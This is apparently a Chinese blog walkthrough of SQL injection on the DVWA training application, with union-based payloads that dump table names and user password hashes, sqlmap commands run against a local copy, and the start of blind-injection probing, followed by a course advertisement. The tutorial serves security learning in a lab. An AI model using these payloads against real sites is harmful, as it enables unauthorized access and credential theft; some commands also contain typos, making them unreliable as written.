DVWA通过攻略之SQL注入_dvwa sql注入(1)

1' union select database(),user()#

在这里插入图片描述

获得数据库名dvwa。
获取表名,information_schema 是 mysql 自带的一张表,这张数据表保存了 Mysql 服务器所有数据库的信息,如数据库名,数据库的表,表栏的数据类型与访问权限等。该数据库拥有一个名为tables的数据表,该表包含两个字段 table_name和 table_schema,分别记录 DBMS 中的存储的表名和表名所在的数据库。
输入

1' union select table\_name,table\_schema from information\_schema.tables where table\_schema= 'dvwa'#

在这里插入图片描述

显示dvwa数据库有两张表guestbook、users。猜测users表示用户表。
获取users表列名

1' union select 1,column\_name from information\_schema.columns where table\_schema='dvwa' and table\_name='users' #

其中dvwa和users是上面猜解的数据库名和表名。
在这里插入图片描述

显示列名为,user_id,first_name,last_name,user,password,avatar,last_login,failed_login。依据user,password可以获取到用户名,密码。
获取用户名,密码,输入

1' union select user,password from users #

在这里插入图片描述

得到了用户名,和密码,密码被加密了。可以尝试进行解密,例如md5。

2.2.medium
DVWA Security设置为Medium,使用mysql_real_escape_string()防止sql注入,函数功能是转义下列字符:\x00、\n、\r、\、"、\x1a。
用户id只能选择
在这里插入图片描述

有两个输出数据。启动burp抓包。
在这里插入图片描述

burp抓到的包发生到repeater,把id=1修改为

id=1 and 3-1 # 

发送。
在这里插入图片描述

判断是数值型注入。其他和low操作一样,只是SQL语句输入位置为在burp中修改id值,且不需要单引号。例如查询数据库类型为,把id=1修改为

id=1 union select version(),@@version\_compile\_os #

在这里插入图片描述

2.3.high

DVWA Security设置为High。这和low操作非常相似,但是这次攻击者以不同的方式输入值。输入值通过另一个页面的session变量传递给易受攻击的查询,而不是直接通过GET请求。
先点击第一个页面的here_to_change_your_ID,然后在显示的页面中输入要查询的id。
在这里插入图片描述

在页面中输入

1 ‘ and 1=1 #

在这里插入图片描述

显示正常,是字符型注入,其他和low一样,注入点在点击后显示的页面。如直接输入

1' union select user,password from users #

获得账号密码。
在这里插入图片描述

2.4.impossible

DVWA Security设置为Impossible Level。查询现在是参数化查询(而不是动态查询)。意味着查询由开发人员定义,并区分哪些部分是代码,其余部分是数据。目前无法破解。

3.sqlmap自动化注入

SQLMap 是一个自动化的SQL注入工具,其主要功能是扫描、发现并利用给定URL的SQL注入漏洞,内置了很多绕过插件,支持的数据库是MySQL 、Oracle 、PostgreSQL 、Microsoft SQL Server、Microsoft Access 、IBM DB2, SQ Lite 、Firebird 、Sybase和SAPMaxDB 。

3.1.low

启动burp抓包

在这里插入图片描述

使用burp抓到的cookie
启动kali终端输入、运行

sqlmap -u "http://127.0.0.1/DVWA/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="PHPSESSID=rcs60b05f67h1qk27rm2tn1l8f; security=low"

其中URL从输入1后从浏览器复制,cookie抓包后提取。
一直输入y。显示存在注入点
在这里插入图片描述

在以上命令后添加 --dbs获取所有数据库名,–batch默认输入y,kali终端运行

sqlmap -u "http://127.0.0.1/DVWA/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="PHPSESSID=rcs60b05f67h1qk27rm2tn1l8f; security=low" --dbs --batch

在这里插入图片描述

获得存在数据库名dvwa,information_schema
在命令后添加–current-db,获得当前数据库名称。运行

sqlmap -u "http://127.0.0.1/DVWA/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="PHPSESSID=rcs60b05f67h1qk27rm2tn1l8f; security=low" --current-db --batch

在这里插入图片描述

获得当前数据库名为dvwa。
在命令后添加-D dvwa --tables 获取dvwa数据库中的表名。

sqlmap -u "http://127.0.0.1/DVWA/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="PHPSESSID=rcs60b05f67h1qk27rm2tn1l8f; security=low" -D dvwa --tables --batch

在这里插入图片描述

获得dvwa数据库中的表名guestbook,users
在命令后添加-T users --columns获取users表中的列名。

sqlmap -u "http://127.0.0.1/DVWA/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="PHPSESSID=rcs60b05f67h1qk27rm2tn1l8f; security=low" -D dvwa -T users --columns --batch

在这里插入图片描述

成功获得列名。在使用-C user,password,user_id --dump,显示用户id,名称,密码,且会自动解密,保存到本地文件中。解密需要一定时间。

sqlmap -u "http://127.0.0.1/DVWA/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="PHPSESSID=rcs60b05f67h1qk27rm2tn1l8f; security=low" -D dvwa -T users -C user,password,user_id --dump 

在这里插入图片描述

3.2.medium

启动burp抓包
在这里插入图片描述

复制抓取到的内容,放入新建文件,1.txt。
kali中运行

sqlmap -r "1.txt" --batch

接下来的步骤,与low一样。

3.3.high

注入点在第二个页面,是跨页的情况。

启动burp抓包,内容放入新建文件2.txt。注意抓到的包是第二个页面点击submit后抓到的包。
在这里插入图片描述

kali运行

sqlmap -r “2.txt”  --batch  --second-ur "http://127.0.0.1/DVWA/vulnerabilities/sqli/"

后面url是第一个页面的链接。
在这里插入图片描述

接下来和low一样,例如运行以后命令获得数据库名

sqlmap -r “2.txt”  --batch --second-url "http://127.0.0.1/DVWA/vulnerabilities/sqli/session-input.php"

4.SQL注入(盲注)

SQL盲注与一般注入的区别在于一般的注入攻击者可以直接从页面上看到注入语句的执行结果,而盲注时攻击者通常是无法从显示 页面上获取执行的结果,甚至连注入语句是否执行都无法得知。
盲注就像跟一个机器人聊天,但是这个机器人只会回答“是”与“不是”,或者观察反应回答的时间,因此,得从一个大的范围去问是与不是,然后慢慢的缩小范围,最后就是类似于问“数据库名字的第一个字是不是a啊”这样的问题,通过这种机械的询问,最终得到我们想要的数据。
盲注分三类
1)布尔盲注: 成功与失败通过布尔值来展示
2)报错盲注: 页面显示数据库报错信息;
3)时间盲注: 页面没有回显位置(联合注入无法使用)、页面不显示数据库的报错信息(报错注入无法使用)、无论成功还是失败,页面只响应一种结果(布尔盲注无法使用)时,采用时间盲注;(时间盲注,也叫延时注入,根据页面的响应时间来判断是否存在注入。)
时间盲注利用前提:页面上没有显示位,也没有输出SQL语句执行错误信息。正确的SQL语句和错误的SQL语句返回页面都一样,但是加入sleep(5)条件之后,页面延时5秒以上则说明判断成立,即存在注入;
盲注的一般步骤:
1)判断是否存在注入、注入是字符型还是数字型
2)猜解当前数据库名
3)猜解数据库中的表名
4)猜解表中的字段名
5)猜解数据

目标是获取SQL数据库软件的版本。
low级别
Low级别代码对参数id没有做任何检查、过滤,存在明显的SQL注入漏洞,同时SQL语句查询返回结果只有2种

在这里插入图片描述在这里插入图片描述

基于返回数据,可进行布尔盲注;
1)查数据库前要先判断数据库的长度:
输入1’ and length(database())=x #其中x为大于等于1的整数,当显示存在时即为数据库长度,发现当x=4是显示存在,故当前页面所使用的数据库长度为4;
1’ and length(database())=1 #
在这里插入图片描述

1’ and length(database())=4 #
在这里插入图片描述

确定了数据库名的长度,接下来从第一个字符开始依次猜字符内容
依次输入1’ and ascii(substr(databse(),1,1))>或<字母的ascii码值,通过比较输入字母的ascii值的显示正常与否来逐个确定库名。
输入
1’ and ascii(substr(database(),1,1)) > 97 #
在这里插入图片描述

显示存在,说明数据库名第一个字符ascii值大于97(小写字符a)
输入
1’ and ascii(substr(databse(),1,1))<122 #
在这里插入图片描述

最后

自我介绍一下,小编13年上海交大毕业,曾经在小公司待过,也去过华为、OPPO等大厂,18年进入阿里一直到现在。

深知大多数网络安全工程师,想要提升技能,往往是自己摸索成长,但自己不成体系的自学效果低效又漫长,而且极易碰到天花板技术停滞不前!

因此收集整理了一份《2024年网络安全全套学习资料》,初衷也很简单,就是希望能够帮助到想自学提升又不知道该从何学起的朋友。

img

img

img

img

img

既有适合小白学习的零基础资料,也有适合3年以上经验的小伙伴深入学习提升的进阶课程,基本涵盖了95%以上网络安全知识点!真正的体系化!

如果你觉得这些内容对你有帮助,需要这份全套学习资料的朋友可以戳我获取!!

由于文件比较大,这里只是将部分目录截图出来,每个节点里面都包含大厂面经、学习笔记、源码讲义、实战项目、讲解视频,并且会持续更新!

Dfsh6qX-1715845440031)]

[外链图片转存中…(img-QrwkSQOc-1715845440031)]

[外链图片转存中…(img-WcH9QnOc-1715845440031)]

既有适合小白学习的零基础资料,也有适合3年以上经验的小伙伴深入学习提升的进阶课程,基本涵盖了95%以上网络安全知识点!真正的体系化!

如果你觉得这些内容对你有帮助,需要这份全套学习资料的朋友可以戳我获取!!

由于文件比较大,这里只是将部分目录截图出来,每个节点里面都包含大厂面经、学习笔记、源码讲义、实战项目、讲解视频,并且会持续更新!

  • 5
    点赞
  • 7
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
DVWA(Damn Vulnerable Web Application)靶场中,初级SQL注入是一种常见的漏洞类型。SQL注入是一种攻击技术,通过在Web应用程序中注入恶意的SQL代码来绕过应用程序的安全控制,从而获取非法访问或执行未经授权的操作。 下面是一些在DVWA靶场中进行初级SQL注入的步骤: 1. 登录DVWA:首先,登录到DVWA靶场。你可以在浏览器中输入`http://localhost/dvwa/login.php`,然后使用默认的用户名和密码登录(默认用户名:admin,密码:password)。 2. 设置安全级别:DVWA有不同的安全级别可供选择。在这个例子中,将安全级别设置为"低"。你可以在页面顶部的安全选项中找到并选择安全级别。 3. 选择"SQL Injection":在DVWA的主菜单中,选择"SQL Injection"。这将带你进入一个页面,你可以在这个页面上进行SQL注入攻击。 4. 探测注入点:在页面上,你将看到一个输入框,用于输入用户ID。首先,尝试输入一个常规的用户ID(如1)并提交表单。观察页面的响应,看是否存在任何异常或错误信息。如果没有出现错误,则说明该输入点可能存在注入漏洞。 5. 进行注入攻击:在用户ID输入框中,尝试输入一些注入代码,如`' OR '1'='1`。这是一种常见的注入技巧,目的是绕过应用程序的验证逻辑。提交表单并观察页面的响应。如果页面显示了所有用户的信息,说明注入成功。 请注意,这只是一个简单的示例,实际的SQL注入攻击可能更加复杂。在实际环境中,进行SQL注入攻击是不道德和非法的,除非你有合法的授权和目的。在学习和测试过程中,务必遵守法律和道德规范。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值